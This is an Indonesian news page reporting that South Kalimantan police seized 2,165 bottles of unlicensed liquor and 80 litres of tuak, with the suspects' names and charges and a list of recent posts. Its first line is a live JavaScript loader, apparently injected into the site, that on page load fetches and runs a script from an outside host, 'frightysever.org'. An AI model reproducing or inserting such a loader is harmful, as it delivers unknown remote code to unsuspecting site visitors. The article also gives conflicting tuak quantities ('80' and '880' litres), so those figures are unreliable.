(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dalam Sehari Polda Kalsel Sita 2.165 Miras dan 80 Liter Tuak


BANJARMASIN, Operasi cipta kondisi di wilayah hukum Polda Kalsel berhasil menyita minuman keras berbagai merek sebanyak 2.165 botol dan 80 liter tuak pada Rabu (11/4). Hasil sitaan minuman beralkohol tersebut diungkap pada konferensi pers yang digelar di Kantor Ditreskrimsus Polda Kalsel, Kamis (12/4).

Kapolda Kalsel Brigjen Rachmat Mulyana mengatakan, ribuan miras dan tuak yang dijual tanpa SIUP-MB ini didapat dari beberapa lokasi berbeda. Dengan rincian hasil operasi Dikrimsus Polda Kalsel di Toko Arema Landasan Ulin sebanyak 982 botol, Kios Bonari Sei Ulin 166 botol, Dikrimum di lokasi Tandiratu Komplek Mekatama 351 botol, Polair Polda Kalsel 122 botol, Dit Shabara Polda Kalsel 455 botol, serta di Kabupaten Tapin 2 drum tuak dan Kabupaten Balangan 36 liter tuak.

Menurut Brigjen Rachmat Mulyana, hasil penyitaan minuman keras dilakukan secara serentak oleh jajaran Polda Kalsel seperti Ditreskrimsus, Ditshabara, Ditpolar, untuk memburu peradaran penjualan minuman keras di wilayah hukum Kalsel.

“Alhamdulillah dalam tempo sehari saja sudah bisa menyita berbagai merek minuman keras berjumlah 2.165 botol, ditambah delapan 880 liter tuak dari berbagai tempat . Kita tidak akan menindak dengan pidana ringan karena itu tidak akan membuat efek jera,” jelasnya.

Dua pelaku pengedar miras tanpa mengantongi izin SIUP-MB yakni, Heri Bonari Yanto pemilik kios Bonari dan Totok Maryono disangkakan melanggar Pasal 106 dan Pasal 24 UU No. 7/2014 tentang Perdagangan dengan ancaman penjara paling lama 4 tahun atau pidana denda paling banyak Rp 10 miliar.

Selain itu juga pelaku dapat dikenakan Pasal 8 UU No. 08/1999 tentang Perlindungan Konsumen dengan hukuman penjara 5 tahun. “Menjelang Ramadhan ini kami tingkatkan intensitas operasinya,” tegas Kapolda.

Kegiatan ini tidak bisa menjamin miras tidak lagi beredar di masyarakat. Menurutnya, Polri perlu peran dari masyarakat untuk mengawasi agar peredaran bisa diredam. “Pencegahan yang lainnya adalah upaya represif melalui operasi dan edukasi ke masyarakat,” katanya.

Kapolda juga memperingatkan kepada penjual minuman keras oplosan untuk tidak lagi berani menjualnya ke masyarakat. Jika membandel, polisi akan memberi tindakan tegas.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

11 menit ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

21 menit ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

2 jam ago

Pj Bupati Kapuas Lepas Peserta Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More

3 jam ago

Baliho Curhat Korban Investasi Bodong di Banjarmasin Diturunkan

KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More

3 jam ago

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

7 jam ago

This website uses cookies.